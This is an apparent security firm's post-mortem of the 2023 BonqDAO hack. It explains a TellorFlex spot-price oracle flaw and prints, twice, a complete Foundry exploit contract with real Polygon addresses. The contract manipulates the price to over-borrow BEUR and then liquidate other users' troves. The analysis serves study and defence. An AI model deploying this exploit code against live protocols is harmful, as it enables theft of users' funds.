Hack Analysis: BonqDAO, February 2023

Introduction
The BonqDAO protocol was hacked on February 1st, 2023, losing around $120m in funds to a price oracle manipulation attack. A vulnerable price feed implementation allowed the attacker to momentarily change the price of the WALBT token to borrow much more protocol stablecoin (BEUR) then they were entitled to.
About two minutes after the first transaction, the attacker changed the oracle price once again, but this time to a very small value, leading the great majority of borrowers to move into a position to be liquidated. This devious tactic allowed the hacker to liquidate over 30 under-collateralized troves, collecting an impressive loot of approximately 113M WALBT.
In this article, we will be analyzing the exploited vulnerability in the BonqDAO contracts, and then we’ll create our own version of the price oracle manipulation in a two-step attack, testing it against a local fork. You can check the full PoC here.
This article was written by gmhacker.eth, an Immunefi Smart Contract Triager.
Background
BonqDAO is a non-custodial, over-collateralized lending protocol. It allows any project or protocol to borrow against their own token at a zero interest rate. It is deployed on the Polygon blockchain.
Users lock their assets as collateral in a trove, which is a smart contract only controlled by the users, and then they can mint BEUR, a stablecoin pegged to the Euro. Users can always swap 1 BEUR for 1 EUR worth of collateral (minus fees) directly on the BonqDAO protocol. When debt is paid, BEUR tokens get burnt.
Troves have a minimum collateralization ratio. If they fall below it, anybody can liquidate the trove: the borrower keeps their borrowed BEUR, but the trove gets closed with no possibility of getting the collateral back (which is bought by the liquidator at a discount, to incentivize liquidation events).
Root Cause
Having a rough understanding of what the BonqDAO protocol is, we can dive into the actual smart contract code to explore the root cause vulnerability leveraged in the February 2023 hack. To do that, we need to dive into the code of the TellorFlex
contract, Bonq’s oracle system. We’re particularly interested in the submitValue
function.
function submitValue(
bytes32 _queryId,
bytes calldata _value,
uint256 _nonce,
bytes calldata _queryData
) external {
require(keccak256(_value) != keccak256(""), "value must be submitted");
Report storage _report = reports[_queryId];
require(
_nonce == _report.timestamps.length || _nonce == 0,
"nonce must match timestamp index"
);
StakeInfo storage _staker = stakerDetails[msg.sender];
require(
_staker.stakedBalance >= stakeAmount,
"balance must be greater than stake amount"
);
// Require reporter to abide by given reporting lock
require(
(block.timestamp - _staker.reporterLastTimestamp) * 1000 >
(reportingLock * 1000) / (_staker.stakedBalance / stakeAmount),
"still in reporter time lock, please wait!"
);
require(
_queryId == keccak256(_queryData),
"query id must be hash of query data"
);
_staker.reporterLastTimestamp = block.timestamp;
// Checks for no double reporting of timestamps
require(
_report.reporterByTimestamp[block.timestamp] == address(0),
"timestamp already reported for"
);
// Update number of timestamps, value for given timestamp, and reporter for timestamp
_report.timestampIndex[block.timestamp] = _report.timestamps.length;
_report.timestamps.push(block.timestamp);
_report.timestampToBlockNum[block.timestamp] = block.number;
_report.valueByTimestamp[block.timestamp] = _value;
_report.reporterByTimestamp[block.timestamp] = msg.sender;
/* snippet of code… */
// Update last oracle value and number of values submitted by a reporter
timeOfLastNewValue = block.timestamp;
_staker.reportsSubmitted++;
_staker.reportsSubmittedByQueryId[_queryId]++;
emit NewReport(
_queryId,
block.timestamp,
_value,
_nonce,
_queryData,
msg.sender
);
}
The submitValue
function in the TellorFlex
contract allows a reporter to submit a value to the oracle. Importantly, this function is permissionless, which means that anybody can report a value to a given queryId
, provided some requirements are met:
- The nonce is a value that makes sense.
- Reporter has staked a minimum necessary amount of TRB tokens.
- Reporter cannot report another value during a certain timelock.
- There is no other reported price for the same queryId with the same timestamp.
The problem is not that this reporting task is permissionless. Rather, the problem is that throughout the protocol contracts the spot price is considered to be the last reported value. Because of that, anybody can momentarily inflate or deflate the value of a given price feed and do damage to the protocol.
Proof of Concept
Now that we understand the vulnerability that compromised the BonqDAO protocol, we can formulate our own proof of concept (PoC). We will do two separate transactions, mimicking the way the original hacker exploited the protocol. The first transaction will report a very large price for WALBT, leading to a very large borrow. The second transaction, which will happen after one minute, will dangerously deflate the price value to be able to liquidate a large amount of troves in one go.
We’ll start by selecting an RPC provider with archive access. For this demonstration, we will be using the free public RPC aggregator provided by Ankr. We select the block number 38792977 as our fork block, 1 block before the first hack transaction.
Our PoC needs to run through a number of steps to be successful. Here is a high-level overview of what we will be implementing in our attack PoC:
- Report a very large value for the spot price of ALBT.
- Create a WALBT trove, deposit a modest amount as collateral and borrow $100M worth of BEUR. This is possible due to the inflated WALBT price.
- Create another WALBT trove with a bigger quantity of collateral. This trove will be used to buy off all the liquidated collateral.
- Let at least 1 block get minted so that we can report a price on a new timestamp.
- Report a very small value for the spot price of ALBT.
- Liquidate all WALBT troves in debt.
- Use BEUR to buy the liquidated collateral.
Let’s code one step at a time, and eventually look at how the entire PoC looks. We will be using Foundry.
The Attack
pragma solidity ^0.8.13;
interface ITellorFlex {
function getStakeAmount() external returns (uint256);
function depositStake(uint256 _amount) external;
function submitValue(
bytes32 _queryId,
bytes calldata _value,
uint256 _nonce,
bytes calldata _queryData
) external;
}
interface ITrove {
function increaseCollateral(uint256 _amount, address _newNextTrove) external;
function borrow(address _recipient, uint256 _amount, address _newNextTrove) external;
function debt() external view returns (uint256);
function liquidate() external;
function repay(uint256 _amount, address _newNextTrove) external;
function decreaseCollateral(
address _recipient,
uint256 _amount,
address _newNextTrove
) external;
}
interface IOriginalTroveFactory {
function lastTrove(address _token) external view returns (address);
function firstTrove(address _token) external view returns (address);
function nextTrove(address _token, address _trove) external view returns (address);
function troveCount(address _token) external view returns (uint256);
function createTrove(address _token) external returns (ITrove trove);
}
Let’s begin by creating our interfaces.sol
file, where we will define the various functions we’re going to use on the protocol’s contracts. We’re dealing with 3 different key contract ABIs: TellorFlex
, Trove
and OriginalTroveFactory
.
The TellorFlex
contract is an implementation of the Tellor decentralized oracle protocol, responsible for recording reported market data. The Trove
contracts are the aforementioned smart contracts controlled by the users, where their collateral and debt are recorded. The OriginalTroveFactory
contract is responsible for creating new troves and keeping track of existing ones.
Besides these interfaces, we will be using the standard ERC20 interface, which is provided in the forge-std
library.
pragma solidity ^0.8.13;
import "forge-std/interfaces/IERC20.sol";
import "forge-std/console.sol";
import "./interfaces.sol";
contract Attacker {
address constant TRB = 0xE3322702BEdaaEd36CdDAb233360B939775ae5f1;
address constant TELLOR_FLEX = 0x8f55D884CAD66B79e1a131f6bCB0e66f4fD84d5B;
address constant TROVE_FACTORY = 0x3bB7fFD08f46620beA3a9Ae7F096cF2b213768B3;
address constant WALBT = 0x35b2ECE5B1eD6a7a99b83508F8ceEAB8661E0632;
address constant BEUR = 0x338Eb4d394a4327E5dB80d08628fa56EA2FD4B81;
ITrove firstTrove;
ITrove secondTrove;
function attackBorrow() external {
_submitValue(5_000_000_000 ether);
_createFirstTroveAndBorrow();
_createSecondTrove();
}
function attackLiquidate() external {
_submitValue(100_000_000_000);
_liquidateTrovesInDebt();
_buyCollateral();
}
/* snippet */
}
As already stated, we’re going to have two different attacking transactions separated in time: one that will borrow much more than what is allowed, and another that will liquidate all troves. This division is properly implemented in our Attacker
contract, where we have a function for each of those transactions: attackBorrow
and attackLiquidate
.
Each of these external functions has three steps marked by internal functions.
attackBorrow
_submitValue
— it will change the spot price of ALBT to a very large value._createFirstTroveAndBorrow
— responsible for opening the first trove and borrowing a large sum of BEUR._createSecondTrove
— responsible for opening the second trove. Both the first and the second troves will be stored in global variables for usage inside other functions.
attackLiquidate
_submitValue
— it will change the spot price of ALBT to a very small value._liquidateTrovesInDebt
— responsible for liquidating all WALBT troves that are now in debt due to the sudden price change._buyCollateral
— it will pay for all the liquidated collateral.
function _submitValue(uint256 value) internal {
address _delegatooor = _deployDelegatooor();
uint256 stakeAmount = ITellorFlex(TELLOR_FLEX).getStakeAmount();
require(IERC20(TRB).balanceOf(address(this)) >= stakeAmount, "Not enough TRB balance to stake");
IERC20(TRB).transfer(_delegatooor, stakeAmount);
(bool success, ) = _delegatooor.call(abi.encodeWithSignature(
"updatePrice(uint256)",
value
));
require(success, "Not updated price");
}
We start by coding the internal function _submitValue
. The first step is to deploy a contract whose sole purpose is to delegate back to our Attacker
contract with the right calldata. As we’ve seen in Snippet 1, we want to do this so that we are not susceptible to the reporting timelock, i.e. we deploy a new reporter entity every time we want to report a new value. The contract deployment logic will be implemented inside _deployDelegatooor
.
We ask the TellorFlex
contract what is the necessary stake required to report a value, and we transfer that amount to our new delegatooor
contract. Finally, we pass on the input value and the function signature of updatePrice
, which will be an external function implemented in our Attacker
contract, with the objective of staking the amount and reporting a new value for the desired price feed.
function _deployDelegatooor() internal returns (address delegatooor) {
address _attacker = address(this);
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, _attacker))
mstore(
add(ptr, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
delegatooor := create(0, ptr, 0x37)
}
require(delegatooor != address(0), "Deploy delegatooor failed");
}
function updatePrice(uint256 _value) external {
ITellorFlex tellorFlex = ITellorFlex(TELLOR_FLEX);
uint256 stakeAmount = IERC20(TRB).balanceOf(address(this));
IERC20(TRB).approve(TELLOR_FLEX, stakeAmount);
// required to submit a value as price
tellorFlex.depositStake(stakeAmount);
bytes memory queryData = abi.encode("SpotPrice", abi.encode("albt", "usd"));
bytes32 queryId = keccak256(queryData);
bytes memory value = abi.encode(_value);
/**
* @note There is a timelock inside this function, so same address
* can't submit another value during a certain period. Hence why
* the attacker deploys a value submitter for each submission.
*/
tellorFlex.submitValue(
queryId,
value,
0,
queryData
);
console.log("Price updated to: %s", _value);
}
The _deployDelegatooor
function deploys a new contract just like the trove factory deploys a new trove inside createTrove
. This method, in turn, is almost identical to the one implemented by OpenZeppelin’s Clone
library. The bytecode of this implementation just encodes a delegatecall of the received calldata to the address of the Attacker
, as can be seen in the following mnemonic representation portion of the bytecode.

The updatePrice
function implements the logic that we want delegatooor
contracts to delegatecall to. It starts by staking the necessary amount of TRB using TellorFlex.depositStake
. Then it encodes the query data for the feed we want: the spot price of ALBT/USD. This encoding is described in the Tellor Docs.
The received value will be submitted to TellorFlex
using the submitValue
function to report a new price for our feed. The delegatooor
address will enter into a time lock to prevent it from reporting another value in the near future. But since we deploy a new delegatooor
contract each time we want to submit a new price, we bypass this check. This concludes the logic in _submitValue
.
function _createFirstTroveAndBorrow() internal {
// @note This token will be the collateral one
firstTrove = IOriginalTroveFactory(TROVE_FACTORY).createTrove(WALBT);
IERC20(WALBT).transfer(address(firstTrove), 0.1 ether);
// updates the collateral
firstTrove.increaseCollateral(0, address(0));
// mints BEUR to the user and records the debt
firstTrove.borrow(address(this), 100_000_000 ether, address(0));
console.log(
"Balance BEUR after borrow (no decimals): %s",
IERC20(BEUR).balanceOf(address(this)) / 1e18
);
}
function _createSecondTrove() internal {
secondTrove = IOriginalTroveFactory(TROVE_FACTORY).createTrove(WALBT);
uint someAmount = 13 ether;
IERC20(WALBT).transfer(address(secondTrove), someAmount);
secondTrove.increaseCollateral(0, address(0));
console.log(
"Balance WALBT after second trove creation: %s",
IERC20(WALBT).balanceOf(address(this))
);
}
We proceed with the implementation of the two other internal functions required by the first attack transaction. The _createFirstTroveAndBorrow
will create a WALBT trove by calling OriginalTroveFactory.createTrove
. To be a WALBT trove means that WALBT is the supplied collateral. The function Trove.increaseCollateral
allows for depositing more collateral into the trove through 2 different possible flows:
- Approve the usage of WALBT and call
increaseCollateral
with the desired amount to deposit. - Transfer the amount of WALBT directly to the trove contract and call
increaseCollateral
with the amount set to zero.
Here we are following the second flow, the same one used by the original attacker.
The amount of supplied collateral is 0.1 worth of WALBT, which is not very significant under normal circumstances. However, the price was changed to 5 billion, which means we can borrow very large amounts of BEUR. We call Trove.borrow
to mint 100M BEUR.
The _createSecondTrove
will create a new WALBT trove and supply collateral in the same fashion. This time, though, we supply a larger amount — 13 WALBT, similar to the amount chosen by the hacker. This concludes the work of our first transaction.
function _liquidateTrovesInDebt() internal {
// collect troves
IOriginalTroveFactory factory = IOriginalTroveFactory(TROVE_FACTORY);
address currentTrove = factory.firstTrove(WALBT);
uint troveCount = factory.troveCount(WALBT);
console.log("TroveCount: %s", troveCount);
address[] memory troves = new address[](troveCount);
troves[0] = currentTrove;
for (uint i = 1; i < troveCount; i++) {
currentTrove = factory.nextTrove(WALBT, currentTrove);
troves[i] = currentTrove;
}
// liquidate all troves
ITrove trove;
for (uint i; i < troves.length; i++) { // no sufficient BEUR to pay for last troves
trove = ITrove(troves[i]);
uint debt = trove.debt();
console.log(
"Trove %s , debt: %s",
i,
debt
);
if (debt > 0 && trove != secondTrove && trove != firstTrove) {
trove.liquidate();
console.log("Liquidated");
}
}
}
The second transaction, as already shown, starts with a new price update to a very small number, followed by liquidateTrovesInDebt
. This function is broken down into two steps:
- Collect all WALBT troves — the factory contract tracks all existing troves, so we can use its methods to aggregate all WALBT trove addresses in one single list.
- Liquidate troves in debt — we iterate through our list of addresses to check which troves are in debt. We liquidate each one of them by calling
Trove.liquidate
.
function _buyCollateral() internal {
IERC20(BEUR).approve(address(secondTrove), type(uint).max);
secondTrove.repay(type(uint).max, address(0));
secondTrove.decreaseCollateral(
address(this),
IERC20(WALBT).balanceOf(address(secondTrove)),
address(0)
);
console.log(
"Balance WALBT end (no decimals): %s",
IERC20(WALBT).balanceOf(address(this)) / 1e18
);
}
The final step of the second transaction is to collect the loot using the borrowed BEUR. To make sure we get the maximum amount of liquidated collateral as possible, we pass maximum values to ERC20.approve
and to Trove.repay
. Noticeably, we call repay on the second trove we created. The liquidated collateral will be transferred to the second trove, and Trove.decreaseCollateral
is used to withdraw all WALBT funds.
This completes the entire exploit logic. If we count the Foundry logs and comments, our PoC still amounts to only 158 lines of code.
It should be noted that this attack requires some funds for staking and for supplying collateral — TRB and WALBT. Besides that, there needs to be a wait period between the two attack transactions, i.e. they cannot happen on the same block (otherwise they would have the same report timestamp). This is how our Foundry test script accomplishes those things:
contract BonqAttackerTest is Test {
address constant TRB = 0xE3322702BEdaaEd36CdDAb233360B939775ae5f1;
address constant WALBT = 0x35b2ECE5B1eD6a7a99b83508F8ceEAB8661E0632;
address constant TELLOR_FLEX = 0x8f55D884CAD66B79e1a131f6bCB0e66f4fD84d5B;
function setUp() public {
vm.createSelectFork("polygon", 38792977);
}
function testAttack() public {
Attacker attacker = new Attacker();
deal(TRB, address(attacker), 2*ITellorFlex(TELLOR_FLEX).getStakeAmount());
deal(WALBT, address(attacker), 15 ether);
attacker.attackBorrow();
vm.warp(block.timestamp + 1 minutes);
attacker.attackLiquidate();
}
}
If we run this PoC against the forked block number, we will finish with 113,796,981 WALBT.
Conclusion
The BonqDAO exploit was a very large hack kicking off the year 2023. The attack stresses the importance of using oracle protocols correctly. In this particular case, we’ve learned the spot price — the last reported price — should never be used as a safe value with which to calculate debt, interests or any sort of conversions. One should use either time-weighted average values or decentralized price feeds like Chainlink.
The BonqDAO protocol completed an airdrop to compensate for user losses, and there are plans to continue working towards a BonqDAO 2.0 version of the protocol. You can check their recovery/reboot proposal article here, as well as their incident report.
This is what our entire PoC looks like.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "forge-std/interfaces/IERC20.sol";
import "forge-std/console.sol";
import "./interfaces.sol";
contract Attacker {
address constant TRB = 0xE3322702BEdaaEd36CdDAb233360B939775ae5f1;
address constant TELLOR_FLEX = 0x8f55D884CAD66B79e1a131f6bCB0e66f4fD84d5B;
address constant TROVE_FACTORY = 0x3bB7fFD08f46620beA3a9Ae7F096cF2b213768B3;
address constant WALBT = 0x35b2ECE5B1eD6a7a99b83508F8ceEAB8661E0632;
address constant BEUR = 0x338Eb4d394a4327E5dB80d08628fa56EA2FD4B81;
ITrove firstTrove;
ITrove secondTrove;
function attackBorrow() external {
_submitValue(5_000_000_000 ether);
_createFirstTroveAndBorrow();
_createSecondTrove();
}
function attackLiquidate() external {
_submitValue(100_000_000_000);
_liquidateTrovesInDebt();
_buyCollateral();
}
function _submitValue(uint256 value) internal {
address _delegatooor = _deployDelegatooor();
uint256 stakeAmount = ITellorFlex(TELLOR_FLEX).getStakeAmount();
require(IERC20(TRB).balanceOf(address(this)) >= stakeAmount, "Not enough TRB balance to stake");
IERC20(TRB).transfer(_delegatooor, stakeAmount);
(bool success, ) = _delegatooor.call(abi.encodeWithSignature(
"updatePrice(uint256)",
value
));
require(success, "Not updated price");
}
function _createFirstTroveAndBorrow() internal {
// @note This token will be the collateral one
firstTrove = IOriginalTroveFactory(TROVE_FACTORY).createTrove(WALBT);
IERC20(WALBT).transfer(address(firstTrove), 0.1 ether);
// updates the collateral
firstTrove.increaseCollateral(0, address(0));
// mints BEUR to the user and records the debt
firstTrove.borrow(address(this), 100_000_000 ether, address(0));
console.log(
"Balance BEUR after borrow (no decimals): %s",
IERC20(BEUR).balanceOf(address(this)) / 1e18
);
}
function _createSecondTrove() internal {
secondTrove = IOriginalTroveFactory(TROVE_FACTORY).createTrove(WALBT);
uint someAmount = 13 ether;
IERC20(WALBT).transfer(address(secondTrove), someAmount);
secondTrove.increaseCollateral(0, address(0));
console.log(
"Balance WALBT after second trove creation: %s",
IERC20(WALBT).balanceOf(address(this))
);
}
function _liquidateTrovesInDebt() internal {
// collect troves
IOriginalTroveFactory factory = IOriginalTroveFactory(TROVE_FACTORY);
address currentTrove = factory.firstTrove(WALBT);
uint troveCount = factory.troveCount(WALBT);
console.log("TroveCount: %s", troveCount);
address[] memory troves = new address[](troveCount);
troves[0] = currentTrove;
for (uint i = 1; i < troveCount; i++) {
currentTrove = factory.nextTrove(WALBT, currentTrove);
troves[i] = currentTrove;
}
// liquidate all troves
ITrove trove;
for (uint i; i < troves.length; i++) { // no sufficient BEUR to pay for last troves
trove = ITrove(troves[i]);
uint debt = trove.debt();
console.log(
"Trove %s , debt: %s",
i,
debt
);
if (debt > 0 && trove != secondTrove && trove != firstTrove) {
trove.liquidate();
console.log("Liquidated");
}
}
}
function _buyCollateral() internal {
IERC20(BEUR).approve(address(secondTrove), type(uint).max);
secondTrove.repay(type(uint).max, address(0));
secondTrove.decreaseCollateral(
address(this),
IERC20(WALBT).balanceOf(address(secondTrove)),
address(0)
);
console.log(
"Balance WALBT end (no decimals): %s",
IERC20(WALBT).balanceOf(address(this)) / 1e18
);
}
function _deployDelegatooor() internal returns (address delegatooor) {
address _attacker = address(this);
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, _attacker))
mstore(
add(ptr, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
delegatooor := create(0, ptr, 0x37)
}
require(delegatooor != address(0), "Deploy delegatooor failed");
}
function updatePrice(uint256 _value) external {
ITellorFlex tellorFlex = ITellorFlex(TELLOR_FLEX);
uint256 stakeAmount = IERC20(TRB).balanceOf(address(this));
IERC20(TRB).approve(TELLOR_FLEX, stakeAmount);
// required to submit a value as price
tellorFlex.depositStake(stakeAmount);
bytes memory queryData = abi.encode("SpotPrice", abi.encode("albt", "usd"));
bytes32 queryId = keccak256(queryData);
bytes memory value = abi.encode(_value);
/**
* @note There is a timelock inside this function, so same address
* can't submit another value during a certain period. Hence why
* the attacker deploys a value submitter for each submission.
*/
tellorFlex.submitValue(
queryId,
value,
0,
queryData
);
console.log("Price updated to: %s", _value);
}
}